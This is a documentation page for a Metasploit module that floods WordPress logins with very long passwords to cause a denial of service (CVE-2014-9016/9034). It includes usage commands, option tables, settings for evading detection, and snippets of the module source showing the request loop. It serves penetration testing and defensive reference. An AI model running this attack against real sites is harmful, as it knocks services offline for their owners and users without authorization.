WordPress Long Password DoS - Metasploit
This page contains detailed information about how to use the auxiliary/dos/http/wordpress_long_password_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WordPress Long Password DoS
Module: auxiliary/dos/http/wordpress_long_password_dos
Source code: modules/auxiliary/dos/http/wordpress_long_password_dos.rb
Disclosure date: 2014-11-20
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-9016, CVE-2014-9034
WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x before 4.0.1 allows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashing.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/http/wordpress_long_password_dos
msf auxiliary(wordpress_long_password_dos) > show targets
... a list of targets ...
msf auxiliary(wordpress_long_password_dos) > set TARGET target-id
msf auxiliary(wordpress_long_password_dos) > show options
... show and set options ...
msf auxiliary(wordpress_long_password_dos) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the dos/http/wordpress_long_password_dos auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/http/wordpress_long_password_dos
msf6 auxiliary(dos/http/wordpress_long_password_dos) > show info
Name: WordPress Long Password DoS
Module: auxiliary/dos/http/wordpress_long_password_dos
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-11-20
Provided by:
Javier Nieto Arevalo
Andres Rojas Guerrero
rastating
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PLENGTH 1000000 yes Length of password to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RLIMIT 200 yes The number of requests to send
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 5 yes The number of concurrent threads
TIMEOUT 5 yes The maximum time in seconds to wait for each request to finish
USERNAME yes The username to send the requests with
VALIDATE_USER true yes Validate the specified username
VHOST no HTTP server virtual host
Description:
WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and
4.x before 4.0.1 allows remote attackers to cause a denial of
service (CPU consumption) via a long password that is improperly
handled during hashing.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-9016
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034
OSVDB (114857)
https://wpscan.com/vulnerability/7681
Module Options
This is a complete list of options available in the dos/http/wordpress_long_password_dos auxiliary module:
msf6 auxiliary(dos/http/wordpress_long_password_dos) > show options
Module options (auxiliary/dos/http/wordpress_long_password_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
PLENGTH 1000000 yes Length of password to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RLIMIT 200 yes The number of requests to send
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 5 yes The number of concurrent threads
TIMEOUT 5 yes The maximum time in seconds to wait for each request to finish
USERNAME yes The username to send the requests with
VALIDATE_USER true yes Validate the specified username
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the dos/http/wordpress_long_password_dos auxiliary module:
msf6 auxiliary(dos/http/wordpress_long_password_dos) > show advanced
Module advanced options (auxiliary/dos/http/wordpress_long_password_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
Auxiliary Actions
This is a list of all auxiliary actions that the dos/http/wordpress_long_password_dos module can do:
msf6 auxiliary(dos/http/wordpress_long_password_dos) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/http/wordpress_long_password_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/http/wordpress_long_password_dos) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
"<USER>" is not a valid username
Here is a relevant code snippet related to the ""<USER>" is not a valid username" error message:
72: if exists
73: print_good("Username \"#{username}\" is valid")
74: store_valid_credential(user: user, private: nil, proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}")
75: return true
76: else
77: print_error("\"#{user}\" is not a valid username")
78: return false
79: end
80: end
81:
82: def run
Aborting operation - a valid username must be specified
Here is a relevant code snippet related to the "Aborting operation - a valid username must be specified" error message:
82: def run
83: if wordpress_and_online?
84: if validate_user
85: print_status("Checking if user \"#{username}\" exists...")
86: unless user_exists(username)
87: print_error('Aborting operation - a valid username must be specified')
88: return
89: end
90: end
91:
92: starting_thread = 1
Timed out during request <VALUE>
Here is a relevant code snippet related to the "Timed out during request <VALUE>" error message:
98: 1.upto(ubound) do |i|
99: threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
100: begin
101: wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout)
102: rescue => e
103: print_error("Timed out during request #{(starting_thread - 1) + i}")
104: end
105: end
106: end
107:
108: threads.each(&:join)
FAILED: <TARGET_URI> appears to still be online
Here is a relevant code snippet related to the "FAILED: <TARGET_URI> appears to still be online" error message:
109: print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
110: starting_thread += ubound
111: end
112:
113: if wordpress_and_online?
114: print_error("FAILED: #{target_uri} appears to still be online")
115: else
116: print_good("SUCCESS: #{target_uri} appears to be down")
117: end
118: else
119: print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
<RHOST>:<RPORT><TARGET_URI> does not appear to be running WordPress
Here is a relevant code snippet related to the "<RHOST>:<RPORT><TARGET_URI> does not appear to be running WordPress" error message:
112:
113: if wordpress_and_online?
114: print_error("FAILED: #{target_uri} appears to still be online")
115: else
116: print_good("SUCCESS: #{target_uri} appears to be down")
117: end
118: else
119: print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
120: end
121: end
122: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10728 Merged Pull Request: Fix outdated metadata
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8327 Merged Pull Request: simplify valid credential storage
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6089 Merged Pull Request: Fix HTTP mixins namespaces
- #5935 Merged Pull Request: My final round of updating modules to use the metasploit-credential API
- #4518 Merged Pull Request: Add WordPress long password DoS module
References
- CVE-2014-9016
- http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034
- OSVDB (114857)
- WPVDB-7681
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/dos/http/3com_superstack_switch
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/dos/http/brother_debut_dos
- auxiliary/dos/http/cable_haunt_websocket_dos
- auxiliary/dos/http/canon_wireless_printer
- auxiliary/dos/http/dell_openmanage_post
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/dos/http/flexense_http_server_dos
- auxiliary/dos/http/gzip_bomb_dos
- auxiliary/dos/http/hashcollision_dos
- auxiliary/dos/http/ibm_lotus_notes
- auxiliary/dos/http/ibm_lotus_notes2
- auxiliary/dos/http/marked_redos
- auxiliary/dos/http/metasploit_httphandler_dos
- auxiliary/dos/http/monkey_headers
- auxiliary/dos/http/ms15_034_ulonglongadd
- auxiliary/dos/http/nodejs_pipelining
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/dos/http/slowloris
- auxiliary/dos/http/sonicwall_ssl_format
- auxiliary/dos/http/squid_range_dos
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/dos/http/ua_parser_js_redos
- auxiliary/dos/http/webkitplus
- auxiliary/dos/http/webrick_regex
- auxiliary/dos/http/ws_dos
- auxiliary/dos/syslog/rsyslog_long_tag
Related Nessus plugins:
Authors
- Javier Nieto Arevalo
- Andres Rojas Guerrero
- rastating
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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